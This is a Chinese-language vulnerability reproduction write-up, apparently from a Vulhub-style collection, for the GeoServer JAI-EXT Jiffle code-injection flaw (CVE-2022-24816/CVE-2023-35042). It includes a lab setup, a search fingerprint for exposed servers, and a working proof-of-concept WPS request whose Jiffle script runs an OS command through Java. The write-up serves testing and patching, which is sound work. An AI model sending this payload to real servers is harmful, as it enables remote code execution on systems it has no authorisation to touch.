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# GeoServer JAI-EXT 导致远程代码注入漏洞 CVE-2022-24816/CVE-2023-35042
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## 漏洞描述
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GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
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GeoServer 使用 JAI-EXT 提供的 Jiffle 地图代数语言,这让使用者可以高效地在大图像上执行地图查询。在 JAI-EXT 1.2.21 及更早版本中存在一个代码注入漏洞(CVE-2022-24816),该漏洞允许攻击者通过精心构造的 Jiffle 调用来执行远程代码。
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在 GeoServer 中,这个漏洞也被称为 [CVE-2023-35042](https://osgeo-org.atlassian.net/browse/GEOS-10458)。GeoServer 2.20.4、2.19.6 和 2.18.6 及更高版本通过将 JAI-EXT 依赖项更新到 1.2.22 修复了这个问题。
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参考链接:
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- https://www.synacktiv.com/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver
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- https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx
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- https://geoserver.org/vulnerability/2022/04/11/geoserver-2-jiffle-jndi-rce.html
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- https://osgeo-org.atlassian.net/browse/GEOS-10458
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- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24816.yaml
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## 漏洞影响
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```
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GeoServer jal-ext <= 1.2.21
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```
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## 网络测绘
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```
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app="GeoServer"
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个 GeoServer 2.17.2 服务器:
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```
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docker compose up -d
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```
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服务启动后,你可以在 `http://your-ip:8080/geoserver` 查看到 GeoServer 的默认页面。
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## 漏洞复现
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漏洞存在于 WMS 接口中。攻击者可以通过向 `/geoserver/wms` 发送特制的请求来执行任意 Java 代码。请求中需要包含一个恶意的 Jiffle 表达式,这个表达式将被服务器执行。
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```
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<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
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```
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发送如下请求来复现漏洞:
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```
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POST /geoserver/wms/ HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Content-Type: application/xml
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
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Accept: */*
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Content-Length: 44
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<?xml version="1.0" encoding="UTF-8"?>
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<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
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<ows:Identifier>ras:Jiffle</ows:Identifier>
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<wps:DataInputs>
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<wps:Input>
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<ows:Identifier>coverage</ows:Identifier>
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<wps:Data>
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<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
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</wps:Data>
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</wps:Input>
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<wps:Input>
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<ows:Identifier>script</ows:Identifier>
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<wps:Data>
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<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
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</wps:Data>
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</wps:Input>
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<wps:Input>
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<ows:Identifier>outputType</ows:Identifier>
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<wps:Data>
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<wps:LiteralData>DOUBLE</wps:LiteralData>
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</wps:Data>
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</wps:Input>
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</wps:DataInputs>
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<wps:ResponseForm>
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<wps:RawDataOutput mimeType="image/tiff">
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<ows:Identifier>result</ows:Identifier>
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</wps:RawDataOutput>
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</wps:ResponseForm>
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</wps:Execute>
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```
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这样,数据包中的 Jiffle 表达式中的 Java 代码将被服务器执行,执行结果将返回在 `java.lang.ExceptionInInitializerError` 消息中:
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## 漏洞修复
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GeoServer 2.20.4、2.19.6 和 2.18.6 及更高版本通过将 JAI-EXT 依赖项更新到 1.2.22 修复该漏洞。
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